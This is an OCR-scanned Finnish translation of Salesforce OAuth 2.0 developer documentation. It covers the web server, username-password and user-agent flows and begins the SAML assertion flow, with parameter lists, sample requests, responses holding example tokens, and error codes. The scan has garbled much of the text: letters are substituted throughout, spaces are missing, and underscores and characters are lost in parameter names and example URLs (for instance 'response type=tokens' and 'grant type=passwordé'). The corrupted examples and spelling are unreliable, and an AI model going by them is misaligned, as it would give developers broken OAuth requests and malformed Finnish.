login_ hint=username@company .com.Jos kdyttdjalld on jo aktiivinen selainistunto, login hint parametriei tee
mitadn, vaan aktiivinen kdyttajdistunto jatkuu.

® nonce— Vaihtoehtoinen openid toiminta-alueen kanssa, kayttdja-ID -varmenteen saamiseksi. Arvo palautetaan vastauksena ja
se on kdytannallinen "toisto" -hydkkdysten havaitsemisessa.

e prompt — Maarittdd miten valtuuspalvelin kehottaa kayttajad todennuksen ja hyvaksymisen toistamiseksi. Tdmd parametri on
valinnainen. Salesforcen tukemat arvot ovat:

- login — Valtuutuspalvelimen tdytyy kehottaa kdyttajaa todentamaan uudelleen, jolloin kdyttajdn taytyy kirjautua sisdan
uudelleen.

- consent — Valtuutuspalvelimen tdytyy kehottaa kdyttdjad hyvaksymdan uudelleen ennen kuin tietoja palautetaan asiakkaalle.
- select account — Josolemassa, suorita jokin seuraavista toiminnoista.
e Jos vihjeitd on kdytettdvissa O tai 1 ja kdyttdja on kirjautunut sisdan, ndytd hyvaksymissivu pyytdmatta hantd kirjautumaan
sisdan.
e Jos vihjeitd on kaytettavissa 0 tai 1 ja kdyttdja ei ole kirjautunut sisadn, pyyda hanta kirjautumaan sisaan.

e Jos vihjeitd on kdytettdvissa enemman kuin 1, ndyta tilin valitsin.

Se voi valittdd 1ogin-ja consent-arvot pilkulla erotettuna ja vaatia kdyttdjaa kirjautumaan sisdan ja valtuuttamaan itsensa
uudelleen. Esimerkki:

?prompt=login%20consent
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Web-palvelin luo tavallisesti linkin tai ldhettad HTTP-uudelleenohjauksen selaimelle kaynnistadkseen kulun. Alla on esimerkki pyynnosta
valtuutuksen paatepisteeseen Web-palvelimen asiakkaalta:

https://login.salesforce.com/services/oauth2/authorize?response type=code&client id=
3MVG91KcPoNINVBIPJjdwlJO9LLM82HnFVVX19KY1uASmu0QgEWhgKpoW3svG3XHrXDiCQjKlmdgAvhCscA
9GE&redirect uri=https%3A%2F%2Fwww.mysite.com%2Fcode callback.jsp&state=mystate

Jos kdyttdja on kirjautunut sisaan, Salesforce uudelleenohjaa hanet hyvaksyntasivulle. Jos kayttdja ei ole kirjautunut sisddn, hantd pyydetdan
tekemaan niin. Taman jalkeen hanet uudelleenohjataan hyvaksyntasivulle, josta han myéntda kayttdoikeuden sovellukseen. Jos kayttdja
on hyvaksynyt kdyttdoikeuden jo kerran, hanen ei tarvitse tehdd sita uudelleen.

Web-palvelin vastaanotti callbackin

Kun kdyttdja hyvaksyy kdyttdoikeuden, hanet uudelleenohjataan kohdassa redirect uri mddritettyyn URLiin ja pyynnon
merkkijonossa on seuraavat arvot:

e code — Valtuutuskoodi, jonka kuluttajan tdytyy saada saadakseen kdyttooikeus- ja pdivitysvaltuudet

® state — Hyvdksyntdvaiheeseen siirretty tila. Tatd arvoa ei sisdllytetd, jos state-parametri ei sisaltynyt alkuperdiseen
kyselymerkkijonoon.

Jos kdyttaja on hyvaksynyt kdyttooikeuden jo kerran, hanen ei tarvitse tehda sitd uudelleen.

Alla on esimerkki redirect uri-parametrin vastaanottaneesta pyynnostd:
https://www.mysite.com/code callback.jsp?code=aPrxsmIEegM9&state=mystate

Jos kayttdja ei hyvdksy sovellusta, hanet uudelleenohjataan redirect uri:inja pyynndn merkkijonossa on seuraavat arvot:
e error —AnooOn access denied.

® state — Hyvdksyntdvaiheeseen siirretty tila. Tatd arvoa ei sisallytetd, jos state-parametri ei sisaltynyt alkuperdiseen
kyselymerkkijonoon.

Esimerkki:
https://www.mysite.com/code callback.jsp?error=access-denied&state=mystate

Jos tdman vaiheen aikana ilmenee virhe, vastaus sisaltaa virheviestin seuraavilla osilla:
e error — Virhekoodi
® error description — Virheen yksityiskohtainen kuvaus.

- unsupported response_ type — ei-tuettu vastaustyyppi

- invalid client_id — virheellinen asiakkaan tunnistus

- 1invalid request — HTTPS vaaditaan

- invalid request — HTTP GET vaaditaan

- 1invalid request —virheellinen code challenge -Osoittaa ettd code challenge-arvoeiollutkdypd (esimerkiksi
ei base64url-suojattu)

- invalid request — odottamaton code challenge - Osoittaa, ettd kulku ei tue eikd odottanut
code challenge-parametrid

- access_denied — loppukdyttdjd hylkdsi todentamisen

- redirect uri missing — redirect_urieiole madritetty

- redirect uri mismatch —redirect_uriei vastaa yhdistetyn sovelluksen mddrityksid
- immediate unsuccessful — valittdmasti virheellinen

- invalid scope—pyydetty alue ei kelpaa, on tuntematon tai vadran mallinen
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state — Hyvaksyntavaiheeseen siirretty tila. Tatd arvoa ei sisallytetd, jos state-parametri ei sisaltynyt alkuperdiseen
kyselymerkkijonoon.

Web-palvelin vaihtaa vahvistuskoodin kdyttéoikeusvaltuuteen

Kun Web-palvelin on saanut valtuutuskoodin, se vaihtaa sen kdyttoikeusvaltuuteen.

Kuluttajan tulisi tehda POST-pyyntd suoraan valtuuden paétepisteeseen seuraavilla parametreilla:

grant_type — Arvon tdytyy olla télle kululle authorization code
client id — Kuluttajan avain yhdistetyn sovelluksen mdaritelmdstd.
client secret — Kuluttajan salaisuus yhdistetyn sovelluksen mddritelmdstd.

client assertion— sensijaan, ettd vdlitdt client secret voitvalita client assertion ja
client assertion type sydttamisen.Josclient secret parametrid ei ole saatavilla, Salesforce tarkastaa arvot
client assertionjaclient assertion type automaattisesti.

Arvon client assertion on oltava tyypillinen JWT kantajatunnus, joka on allekirjoitettu OAuth asiakkaan Idhettdmalld
yksityisavaimen sertifikaatilla. Vain RS256-algoritmia tuetaan. Lisdtietoa parametrin client assertion kdyttdmisestd [Oydat
osiosta OpenID Yhteysmddrittelyt private key jwt asiakkaan todennusmenetelmille.

client assertion_type — Annatdmd arvo kdyttdessdsi client assertion-parametria.

Arvon client assertion type onoltava urn:ietf:params:oauth:client-assertion-type:jwt-bearer.

redirect uri — UR,jota kdytetddn kdyttdjan uudelleenohjaukseen hyvéaksynnan jélkeen. Témdn arvon taytyy vastata tarkalleen
yhdistetyn sovelluksen madritelman Callback-URL-kenttdd, ja se on sama arvo kuin ensimmadisen uudelleenohjauksen lahettdma
arvo. Lisdtietoja on kohdassa Uudelleenohjaa kayttaja kayttooikeusvaltuutuksen saamiseksi sivulla 204.

code — Valtuutuskoodi, joka saatiin callbackista hyvaksynnan jalkeen.

code_verifier — Mddrittdd 128 tavua satunnaista dataa, joka on tarpeeksi hajautunutta, etta arvo on vaikea arvata ja auttaa
estdmaan valtuuttamattomien koodien hydkkayksid. Myds taman arvon taytyy olla base64url-suojattu kerran tassa kuvatulla tavalla:
https://tools.ietf.org/html/rfc4648#section-5.Tamd parametrion pakollinen vain, jos

code challenge-parametri madritettiin valtuutuspyynndssé.

- Jos code verifier-arvo on tarjottu valtuuspyynndssd ja code challenge-arvo on tarjottu valtuutuspyynndssd,
Salesforce vertaa code _verifier-arvoa code challenge-arvoon.Jos code verifier onvirheellineneikdvastaa
toista arvoa, kirjautuminen epdonnistuu virhekoodilla invalid grant.

- Jos code verifier-arvoon tarjottu valtuuspyynnéssd, mutta code challenge-arvoa eitarjottu valtuutuspyynnossé,
kirjiautuminen epaonnistuu virhekoodilla invalid grant.

format — Oletettu palautusformaatti. Téma parametri on valinnainen. Oletusarvo on j son. Arvot ovat:

- urlencoded

- Json

- xml

Alla on esimerkki kaistan ulkopuolelta lahetetystd POST-rungosta:

POST /services/oauth2/token HTTP/1.1

Host: login.salesforce.com

grant type=authorization code&code=aPrxsmIEeqM9PiQroGEWx1UiMQd95 5JUZ
VEhsOFhS8EVvVbfYBBJ1i2W5fn3zbo.8hojaNW 1g%3D%3D&client 1d=3MVG91KcPoNI
NVBIPJjdwlJ9LLM82HNFVVX19KY1uAS5mu0QqEWhgKpoW3svG3XHrXDiCQjK1mdgAvhCs
CA9GE&client secret=1955279925675241571&

redirect uri=https%3A%2F%2Fwww.mysite.com%2Fcode callback.jsp
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Parametrin format kayttamisen sijaan asiakas voi my®s maarittad palautusformaatin hyvaksyntdpyynnon otsikossa kdyttamalla
seuraavia:

® Accept: application/json

® Accept: application/xml

® Accept: application/x-www-form-urlencoded
Huomaa:

e Jokerimerkit sallitaan yldtunnisteessa. * /* hyvdksytddn ja palauttaa JSON:in.

e Arvojen luettelo hyvaksytdan myds ja tarkistetaan vasemmalta oikealle. Esimerkki:
application/xml,application/json,application/html, */* palauttaa XML:n.

e format-parametri korvaa hyvaksy pyyntd -ylatunnisteen.

Salesforce vastaa kdyttdoikeusvaltuusvastauksella

Kun pyyntd on vahvistettu, Salesforce lahettda vastauksen asiakkaalle. Vastauksen runko sisaltda seuraavat parametrit:
® access_token — Salesforce-istuntotunnus, jota voidaan kayttad Web-palvelujen APL:n kanssa.

* token type—Arvoon Kantaja kaikille vastauksille, jotka siséltdvat kayttéoikeusvaltuuden.

e id token — Salesforce-arvo, joka on OpenlD Connect -madritelmien mukainen. Tdma parametri palautetaan vain, jos
scope-parametrissd on openid.

e refresh token — Valtuus,jotavoidaan kdyttdd mydhemmin uusien kdyttdoikeusvaltuuksien (istuntojen) hankkimiseen. Tdma
arvo on salaisuus. Kohtele sita kdyttdjan salasanan tavoin ja suojaa se asianmukaisin keinoin. Tima parametri palautetaan
vain, jos liitetty sovellus on asetettu vahintddn alueella refresh token.

e instance url — URL joka osoittaa kdyttdjan organisaation instanssin. Esimerkki:
https://omaInstanssisi.salesforce.com/.

e id — Tunnus-URL-osoite, jota voidaan kayttda kayttdjan tunnistamiseen ja kayttdjan lisdtietojen noutamiseen. Lisatietoja on kohdassa
Tunnus-URL-osoitteet sivulla 220.

* sfdc community url — Joskayttdjd on Salesforce-yhteisdn jasen, yhteisén URL tarjotaan.
* sfdc_community id — Joskayttdjd on Salesforce-yhteisdn jdsen, kdyttdjan yhteisén tunnus tarjotaan.

® signature — Base64-koodattu HMAC-SHA256-allekirjoitus, joka on allekirjoitettu kuluttajan suojausavaimella, joka siséltaa
liitetyn tunnuksen ja issued_at. Tatd allekirjoitusta voidaan kdyttda vahvistamaan, etta tunnus-URL-osoitetta ei ole muokattu
sen jalkeen, kun palvelin lahetti sen.

* 1issued at — Allekirjoituksen luontiaika.

Alla on esimerkki Salesforcen vastauksesta:

{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",

"issued at":"1278448101416","refresh token":"5Aep8614iLM.Dg661lePDmPEgaAW9

Oh L3JKkDpB4xReb54 pZebnUGOh6Sb4KUVDpNtWEOfWM39yg==","instance url":
"https://yourInstance.salesforce.com/", "signature":"CMJ41+CCaPQiKjoOEwWEig9H4wghpuLSk
4J2urAe+fvg=","access token":"00Dx0000000BV7z!ARSBAQPOJITNS8OESEs]5EbaZTFGOR

NBaTlcyWk7TrgoDjoNIWQZME sTZzBjfmOE6zMHq6oy8PIW4eWze 9JksNEKWUL.Cju7m4", "token type":"Bearer","scope":"id
api refresh token"}

Jos tdman vaiheen aikana ilmenee virhe, vastaus sisédltaa virheviestin seuraavilla osilla:
e error — Virhekoodi
* error description — Virheen yksityiskohtainen kuvaus.

- unsupported response type — ei-tuettu vastaustyypp
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- invalid client id — virheellinen asiakkaan tunnistus

- 1invalid request — HITPS vaaditaan

- invalid request — HTTP POST vaaditaan

- invalid client credentials — virheellinen asiakkaan salaisuus
- invalid grant — virheellinen valtuutuskoodi

- 1invalid grant — IP-rajoitetut tai virheelliset kirjautumisajat

Sovellusten integrointi Salesforcen kanssa

- 1invalid grant —virheellinen code verifier -Osoittaa, ettd code verifier-arvo eiollut kdypa (ei

base64url-suojattu tms.) eikd se ollut kdypd vahvistin code challenge-arvolle

- 1invalid grant — odottamaton code verifier -Osoitta, ettd code challenge-arvoa eioltu madritetty ja

siksi code_verifier-arvoa ei odotettu (mutta se oli madritetty)

- redirect uri mismatch — redirect_uriei ole madritetty

- redirect uri mismatch — redirect_urieivastaa yhdistetyn sovelluksen madritysta

- 1inactive user — padkdyttdjd on madrittdnyt kayttdjan ei-aktiiviseksi
- 1inactive org — organisaatio on lukittu, suljettu tai jdddytetty

- rate limit exceeded — ylitettyjen kirjautumisyritysten mddrd

KATSO MYOS:

Sovellusten OAuth-todennus

OAuth 2.0 -kayttdja/salasana-kulku

Kayttajanimi/salasana-todennuskulkua voidaan kdyttaa todentamiseen, kun kuluttajalla on jo
kdyttdjan valtuutukset.

O Varoitus: Tama OAuth-todennuskulku sisaltad kdyttdjien valtuutusten siirtdmista edestakaisin.
Kdytd tatd todennuskulkua vain tarvittaessa. Paivitysvaltuutta ei myonneta.

Alla on kdyttdjanimi/salasana-todennuksen kulun vaiheet. Lisdtietoja kustakin vaiheesta on alla:

1. Kuluttaja kdyttda loppukdyttdjan kayttdjanimed ja salasanaa pyytdkseen kdyttooikeusvaltuutta
(istuntotunnusta).

2. Kun pyyntd on vahvistettu, Salesforce lahettdd vastauksen asiakkaalle.

Kun kuluttaja on saanut kayttooikeusvaltuuden, hdn voi kdyttdd kayttooikeusvaltuutta kdyttddkseen
Salesforce-tietoja loppukayttdjan puolesta.

Kayttévaltuuden pyytéminen

Kuluttaja voi kdyttad loppukayttdjan kdyttdjanimed ja salasanaa pyytdakseen kdyttdoikeusvaltuutta,
jota voidaan kdyttaa istuntotunnuksena. Tamad kulku ei tue vaikutusalueiden sisallyttdmista pyyntdén
eikd tastd kulusta palautettu kayttdoikeusvaltuus saa vaikutusalueita.

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa

Kaytettavissa kaikissa
versioissa.

KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdisteftyjen sovellusten
hallinta"

Kuluttajan tulisi tehda kaistan ulkopuolinen POST-pyynt0 valtuuden padtepisteeseen seuraavilla parametreilla:

* grant_type — Arvon tdytyy olla télle kululle password
® client id — Kuluttajan avain yhdistetyn sovelluksen mddritelmdstd.
® client secret — Kuluttajan salaisuus yhdistetyn sovelluksen madritelmdsta.

® username — Loppukayttdjan kayttajanimi.
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* password — Loppukayttdjan salasana.

@ Note: Kun kaytat kayttajanimi-salasana-kulkua API:ssa, muista luoda kayttajanimija salasana -kirjautumisruutuun kenttd, johon
kdyttdjat voivat syottad kayttdoikeusvaltuutensa. Suojaustunnus on automaattisesti luotava avaintunnus, joka on lisdttava
salasanan loppuun, jotta Salesforceen voidaan kirjautua muusta kuin luotetusta verkosta. Sinun taytyy yhdistad heidan
salasanansa ja kayttooikeusvaltuutensa, kun hyvéksyt todennuspyyntéa.

e format — Oletettu palautusformaatti. Téma parametri on valinnainen. Oletusarvo on json. Arvot ovat:
- urlencoded
- Json

- xml

Alla on esimerkki kaistan ulkopuolisen POST:in rungosta:

grant type=passwordé&client id=3MVG91KcPoNINVBIPJjdwlJ9LLM82Hn
FVVX19KY1uA5muOQgEWhgKpoW3svG3XHrXDiCQjKImdgAvhCscA9GE&client secret=
1955279925675241571&username=testuser%40salesforce.com&password=mypassword

L&hetd vastaus

Kun pyynt6 on vahvistettu, Salesforce ldhettdd vastauksen asiakkaalle. Vastauksen runko sisaltda seuraavat parametrit:
® access_token — Salesforce-istuntotunnus, jota voidaan kayttdd Web-palvelujen APL:n kanssa.

* token type—Arvoon Kantaja kaikille vastauksille, jotka sisaltavat kayttdoikeusvaltuuden.

e instance url — URL joka osoittaa kdyttdjan organisaation instanssin. Esimerkki:
https://omaInstanssisi.salesforce.com/.

e id — Tunnus-URL-osoite, jota voidaan kayttda kdyttajan tunnistamiseen ja kdyttdjan lisatietojen noutamiseen. Lisdtietoja on kohdassa
Tunnus-URL-osoitteet sivulla 220.

® signature — Base64-koodattu HMAC-SHA256-allekirjoitus, joka on allekirjoitettu kuluttajan suojausavaimella, joka sisaltad
liitetyn tunnuksen ja 1ssued_at. Tdtd allekirjoitusta voidaan kdyttdd vahvistamaan, ettd tunnus-URL-osoitetta ei ole muokattu
sen jalkeen, kun palvelin lahetti sen.

e issued at — Allekirjoituksen luontiaika.
@ Note: Vastauksen mukaan ei ldheteta paivitysvaltuutta.

Alla on esimerkki vastauksesta:

{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued at":"1278448832702","instance url":"https://yourInstance.salesforce.com/",
"signature":"0CmxinZir53Yex7nEOTD+zMpvIWYGb/bdJh6XfOH6EQ=", "access_token":
"00Dx0000000BV7z ! AR8BAQAx09UfVkh8A1VOGomt 9Czx9LjHNnSSpwBMmbRcgKFmxOtvxj TrKWl
9ye6PE3Ds1eQz3z8jr3W7 VbWmEu4Q8TVGSTHxs", "token type":"Bearer"}

Jos tdmdn vaiheen aikana ilmenee ongelmia, vastaus sisaltda virheviestin seuraavilla osilla:

e error — Virhekoodi

* error_ description — Virheen yksityiskohtainen kuvaus.

- unsupported response_ type — ei-tuettu vastaustyyppi

invalid client id — virheellinen asiakkaan tunnistus

- 1invalid request — HTTPS vaaditaan

invalid request — HTTP POST vaaditaan
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- 1invalid request — vaikutusalueen parametrid ei tueta

- invalid client credentials — virheellinen asiakkaan salaisuus

- invalid grant — todennusvirhe (esimerkiksi kdyttdjad ei ole tai salasana on vaara)
- 1invalid grant — IP-rajoitetut tai virheelliset kirjautumisajat

- inactive user — kdyttdjd ei ole aktiivinen

- 1inactive org — organisaatio on lukittu, suljettu tai jdddytetty

- rate limit exceeded —Ylitettyjen kirfjautumisten mddra

Alla on esimerkki palautetusta virheesta:

Sovellusten integrointi Salesforcen kanssa

{"error":"invalid client credentials","error description":"client secret invalid"}

KATSO MYOS:

Sovellusten OAuth-todennus

OAuth 2.0 -kayttgjaagentin kulku

Kéyttdjaagentin todennuskulku on kayttdjien laitteilla sijaitsevien asiakassovellusten (kuluttajien)
kdytossd. Tdma voidaan totetuttaa selaimessa kdyttamalld ohjelmointikieltd, kuten JavaScript, tai
mobiililaitteesta tai tydpdytasovelluksesta. Namad kuluttajat eivdt voi pitdd asiakkaan tietoja
luottamuksellisina. Kuluttajan todentaminen perustuu kayttdjdagentin sama alkupera -kdytantoon.

Toisin kuin muut todennuskulut, asiakassovellus vastaanottaa kayttdoikeusvaltuuden
HTTP-uudelleenohjauksen muodossa. Asiakassovellus pyytad todennuspalvelinta
uudelleenohjaamaan kayttajdagentin toiselle web-palvelimelle tai paikalliseen, kayttajdagentin
kdytettdvissa olevaan resurssiin, joka voi hakea kayttdoikeusvaltuuden vastauksesta ja siirtad sen
asiakassovellukselle. Huomaa, ettd valtuusvastaus tarjotaan URL-osoitteen risuaita (#) -osana. Tama

tarjoaa suojausta ja estdd valtuuden siirtdmisen palvelimelle ja muille viiteyldtunnisteiden palvelimille.

Tama kayttdjaagentin todennuskulku ei kdyta asiakkaan salaisuutta, koska asiakkaan ohjelmat
sijaitsevat loppukdyttdjan tietokoneella tai laitteella, mika tekee asiakkaan salaisuudesta alttiin
hyvaksikaytolle.

O Varoitus: Koska kayttoikeusvaltuus on koodattu uudelleenohjaus-URI-osoitteeseen, se
saattaa nakyd loppukayttdjille ja tietokoneella tai laitteella sijaitseville sovelluksille.

Jos kaytat todentamiseen JavaScriptid, kutsu window.location.replace () ;
callbackin poistamiseksi selainhistoriasta.

Alla on kuvaukset yksittdisistd vaiheista.

1. Asiakassovellus ohjaa kayttdjan Salesforceen todentamaan ja valtuuttamaan sovelluksen.

EDITION-VERSIOT

Kéytettavissd: Salesforce
Classicissa

Kaytettavissa kaikissa
versioissa.

KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdisteftyjen sovellusten
hallinta”

2. Kdyttdjan taytyy aina hyvaksya kdyttdoikeus talle valtuutuskululle. Kun kdyttdoikeus on hyvdksytty, sovellus vastaanottaa callbackin

Salesforcesta.

Kun kuluttaja on saanut kdyttovaltuuden, han voi kdyttda kdyttovaltuutta kayttddkseen Salesforce-tietoja loppukdyttdjén puolesta ja

paivitysvaltuutta hankkiakseen uuden kdyttovaltuuden, jos se vanhenee jostain syysta.

Kayttaagentin kulku ei tue kaistan ulkopuolisia viesteja.

n



Paranna Salesforcea koodilla Sovellusten integrointi Salesforcen kanssa

Ohijaa kayttdja Salesforceen hankkimaan kayttévaltuus
Jotta asiakassovellus saisi kayttdjaltd valtuuden kdyttdd Salesforce-tietoja kdyttdjan puolesta, se ohjaa kdyttdjan valtuutuspédatepisteeseen

seuraavilla parametreilla:

* response_ type—Anovoiolla token,tai token id token,jonka toiminta-alueparametrion openid ja parametrion
nonce tdlle kululle. Jos médrittelet parametrin token id token,Salesforce palauttaa vastauksena ID-valtuuden. Katso lisétietoa
osiosta ID-valtuuden saaminen ja varmentaminen sivulla 219.

e client id — Kuluttajan avain yhdistetyn sovelluksen mddritelmdstd.

* redirect uri — URI jota kdytetddn kdyttdjan uudelleenohjaukseen hyvaksynnan jdlkeen. Tdmdn taytyy vastata tarkalleen
jotakin yhdistetyn sovelluksen mddritysten Callback-URL-kentdn arvoa. Arvon tulee olla URL-koodattu.

* state — Mikdtahansatila, jonka kuluttaja haluaa palauttaa hyvaksynnan jalkeen ja callbackin aikana. Témd parametri on valinnainen.

® scope — scope-parametrin avulla voit hienosddtadd mihin asiakassovelluksella on kdyttooikeus Salesforce-organisaatiossa. Katso
kohdasta Alueparametriarvot sivulla 216 patevat parametrit.

e display — Muuttaa kirjautumissivun ulkoasua. Tama parametri on valinnainen. Ainoat Salesforcen tukevat arvot ovat:

- page — Koko sivun todennusnayttd. Tama on oletusarvo, jos arvoa ei ole madritetty.

- popup — Kompakii valintaikkuna, joka on tarkoitettu modernien web-selainten ponnahdusikkunaksi.

- touch — Mobiililaitteille optimoitu valintaikkuna, joka on suunniteltu moderneille dlypuhelimille, kuten Android ja iPhone.
* login_ hint—Annakelvollinen kdyttdjdnimiarvo télle parametrille saadaksesi kdyttdjanimen kirjautumissivulle. Esimerkki:

login_hint=username@company .com.Jos kdyttdjdlld on jo aktiivinen selainistunto, login_ hint parametriei tee
mitadn, vaan aktiivinen kdyttajdistunto jatkuu.

* nonce— Vaaditaanopenid toiminta-alueen kanssa, kdyttdja-ID -varmenteen saamiseksi. Arvo palautetaan vastauksena ja se on
kdytanndllinen "toisto" -hydkkadysten havaitsemisessa.

* prompt — Maarittdd miten valtuuspalvelin kehottaa kayttdjaa todennuksen ja hyvdksymisen toistamiseksi. Tdmd parametri on
valinnainen. Salesforcen tukemat arvot ovat:

- login — Valtuutuspalvelimen tdytyy kehottaa kdyttdjad todentamaan uudelleen, jolloin kdyttdjdn taytyy kirjautua sisdan
uudelleen.

- consent — Valtuutuspalvelimen tdytyy kehottaa kdyttdjad hyvaksymdan uudelleen ennen kuin tietoja palautetaan asiakkaalle.
- select account — Josolemassa, suorita jokin seuraavista toiminnoista.
e Jos vihjeitd on kdytettdvissa O tai 1 ja kdyttdja on kirjautunut sisdan, ndytd hyvaksymissivu pyytdmatta hantd kirjautumaan
sisdan.
e Jos vihjeitd on kdytettdvissa O tai 1 ja kdyttdja ei ole kirjautunut sisadn, pyyda hantd kirjautumaan sisaan.

e Jos vihjeitd on kdytettdvissa enemman kuin 1, ndyta tilin valitsin.

Se voi valittdd 1ogin-ja consent-arvot pilkulla erotettuna ja vaatia kdyttdjaa kirjautumaan sisdan ja valtuuttamaan itsensa
uudelleen. Esimerkki:

?prompt=login%20consent

Alla on esimerkki URL-osoitteesta, johon kdyttdja uudelleenohjataan:

https://login.salesforce.com/services/oauth2/authorize?response type=tokens

client i1d=3MVG91KcPoNINVBIPJjdwlJ9LLJIbP pgwoJYyuisjQhr LLurNDv7AgQvDTZwCoZuD
ZrXcPCmBv4o.8ds.5iE&redirect uri=https%3A%2F%2Fwww.mysite.com%$2Fuser callback.jsp&
state=mystate
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Kayttaja hyvaksyy kayttooikeuden ja asiakas vastaanottaa callbackin Salesforcesta

Jos kayttdja ei ole kirjautunut Salesforceen, hantd pyydetdan tekemdan niin. Tamadn jalkeen Salesforce ndyttda hyvaksymissivun ja pyytda
kdyttdjad hyvaksymadn sovelluksen kayttdoikeuden. Jos kayttdja hyvdksyy kdyttdoikeuden, hanet siiretdan kohdassa redirect uri
mddritettyyn URLiin. Risuaitamerkin (#) jélkeen on seuraavat arvot. Tamd ei ole pyyntémerkkijono.

® access_token — Salesforce-istuntotunnus, jota voidaan kayttdd Web-palvelujen APL:n kanssa.

* token type—Arvoon Kantaja kaikille vastauksille, jotka sisaltavat kayttooikeusvaltuuden.

e 1id token — Salesforce-arvo, joka on OpenlD Connect -mddritelmien mukainen. Tdmd palautetaan vain josresponse _type
on token id token, missd toimialueparametrion openid ja nonce parametri.

* refresh token — Valtuus,jotavoidaan kdyttad myéhemmin uusien kdyttooikeusvaltuuksien (istuntojen) hankkimiseen. Tdma
arvo on salaisuus. Kohtele sita kdyttdjan salasanan tavoin ja suojaa se asianmukaisin keinoin.

@ Note: Kayttdjaagentin kulun paivitysvaltuus mydnnetddn ainoastaan jos pyysit scope=refresh token jajos yksi
seuraavista tilanteista on totta:
- Uudelleenohjaus-URL kayttad mukautettua protokollaa.

—= Uudelleenohjaus-URL on tarkalleen https://login.salesforce.com/services/oauth2/success tai
sandboxissa https://test.salesforce.com/services/oauth2/success.

* instance url — URL joka osoittaa kdyttdjan organisaation instanssin. Esimerkki:
https://omaInstanssisi.salesforce.com/

e id — Tunnus-URL-osoite, jota voidaan kayttda kdyttajan tunnistamiseen ja kdyttdjan lisatietojen noutamiseen. Lisdtietoja on kohdassa
Tunnus-URL-osoitteet sivulla 220.

* sfdc_community url — Joskdyttdjd on Salesforce-yhteison jdsen, yhteison URL tarjotaan.
* sfdc community id — Joskayttdjd on Salesforce-yhteison jasen, kdyttajdan yhteison tunnus tarjotaan.

® signature — Base64-koodattu HMAC-SHA256-allekirjoitus, joka on allekirjoitettu kuluttajan suojausavaimella, joka sisdltaa
liitetyn tunnuksen ja issued _at.Tétd allekirjoitusta voidaan kayttdd vahvistamaan, etta tunnus-URL-osoitetta ei ole muokattu
sen jalkeen, kun palvelin lahetti sen.

* 1issued_at — Allekirjoituksen luontiaika.

Alla on esimerkki palvelimen callbackista. Huomaa, ettd vastaus on risuaitamerkin takana eika HTTP-pyyntdparametreina:

https://www.mysite.com/user callback.jsp#access token=00Dx0000000BV7z%21A
RBAQBM8J xr9kLgmZIRyQxZgLcM4HVi41aGtWOqW3JCzEf5xdTGGGSoVim8FfJkZEgxbjaFbbe
rKGk8v8AnYrvChG4qibQo8s&refresh token=5Aep8614iLM.Dg661lePDmPEgaAW90h L3JKk
DpB4xReb54 pZfVtildPEk8aimwdHr9ne7VXXVSIQ$3D%s3D&instance url=https%3A%2F%
2FyourInstance.salesforce.com&id=https%$3A%2F%2Flogin.salesforce.com$2Fid%2F00Dx000
0000BV7z%2F005x00000012Q9P&issued at=1278448101416&signature=miQQ1J4sdMPi
duBsvyRYPCDozghe43KRc1i9ImZHR70%3D&scope=id+apit+refresh token&token type=
Beareré&state=mystate

Jos kayttdja hylkdd kdyttooikeuden tai tdmdn vaiheen aikana ilmenee virhe, kdyttdjd uudelleenohjataan kohtaan redirect uri ja
URI:ssa on virhekoodin ja virheen kuvaus ristuaitamerkin (#) jalkeen. Tama ei ole pyyntdmerkkijono.
e error — Virhekoodi
* error description — Virheen yksityiskohtainen kuvaus.
— unsupported response type — ei-tuettu vastaustyypp

- invalid client_id — virheellinen asiakkaan tunnistus

invalid request — HTTPS vaaditaan

- 1invalid request — HTTP GET vaaditaan
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- 1invalid request — kaistan ulkopuolista ei tueta
- access_denied — loppukdyttdjd hylkasi todentamisen
- redirect uri missing — redirect_uriei ole madritetty
- redirect uri mismatch — redirect_urieivastaa yhdistetyn sovelluksen objektia
- immediate unsuccessful — vdlittdmastivirheellinen
- 1invalid grant — virheelliset kdyttdjan valtuutukset
- 1invalid grant — IP-rajoitetut tai virheelliset kirjautumisajat
- inactive user — kayttdjd ei ole aktiivinen
- 1inactive org — organisaatio on lukittu, suljettu tai jdddytetty
- rate limit exceeded —ylitettyjen kirjautumisten madrd
- 1invalid scope—pyydetty alue ei kelpaa, on tuntematon tai vdardn mallinen
® state — Hyvaksyntdvaiheeseen siirretty tila. Tdtd arvoa ei sisallytetd, jos state-parametri ei sisaltynyt alkuperdiseen
kyselymerkkijonoon.

Alla on esimerkki virheen uudelleenohjaus-URI:sta:

https://www.mysite.com/user callback.jsp#error=access_denied&state=mystate

KATSO MYOS:

Sovellusten OAuth-todennus

SAML-vahvistuksen kulku

SAML-vahvistuskulku on vaihtoehto organisaatioille, jotka kdyttavdt talld hetkelld SAML:a Salesforcen EDITION-VERSIOT
kdyttdon ja jotka haluavat kdyttdd Web Services APl:a samalla tavalla. SAML-vahvistuskulkua voidaan
kdyttad vain yhden organisaation sisdlla. Sinun ei tarvitse luoda yhdistettya sovellusta taman

vahvistuskulun kdyttamiseksi. Asiakkaat voivat kdyttaa tatd vahvistuskulkua liittyakseen APl-rajapintaan

Kéytettavissa: Salesforce

Classicissa
SAML-vahvistuksen avulla, samalla tavalla kuin ne liittyvat Salesforceen Web-kertakirjautumista
varten. KGyTeﬁGWSSG kaikissa
versioissa.
@ Notfe: SAML-vahvistuskulkua ei tueta yhteisdille.
Alla on tdmén kulun yleiset vaiheet. Monet néistd vaiheista kuvataan alla yksityiskohtaisesti. KAYTTJAOIKEUDET

1. Madrita SAML sivulla 214 organisaatiollesi. Sinun tdytyy kdyttdaa SAML-versiota 2.0. OAuth-sovellusten hallinta

. Vaihda SAML-vahvistus kayttooikeusvaltuuteen. luominen, muokkaaminen
ja poistaminen:

e "Yhdistettyjen sovellusten

2
3. Salesforce ldhettda vastauksen.
4. Kayta JSON-jasentdjad vastauksen kasittelyyn ja access_token-valtuuden purkamiseen. hallinta”

SAML:n madrittdminen OAuthille

Médrita organisaatiosi kayttdmadn SAML:a noudattamalla ohjeita aiheesta SAML-asetusten madrittaminen kertakirjautumista varten.
Kun olet mdarittdnyt SAML:in, voit kdyttdd samaa madritysta Web- ja API-liitdnndlle.

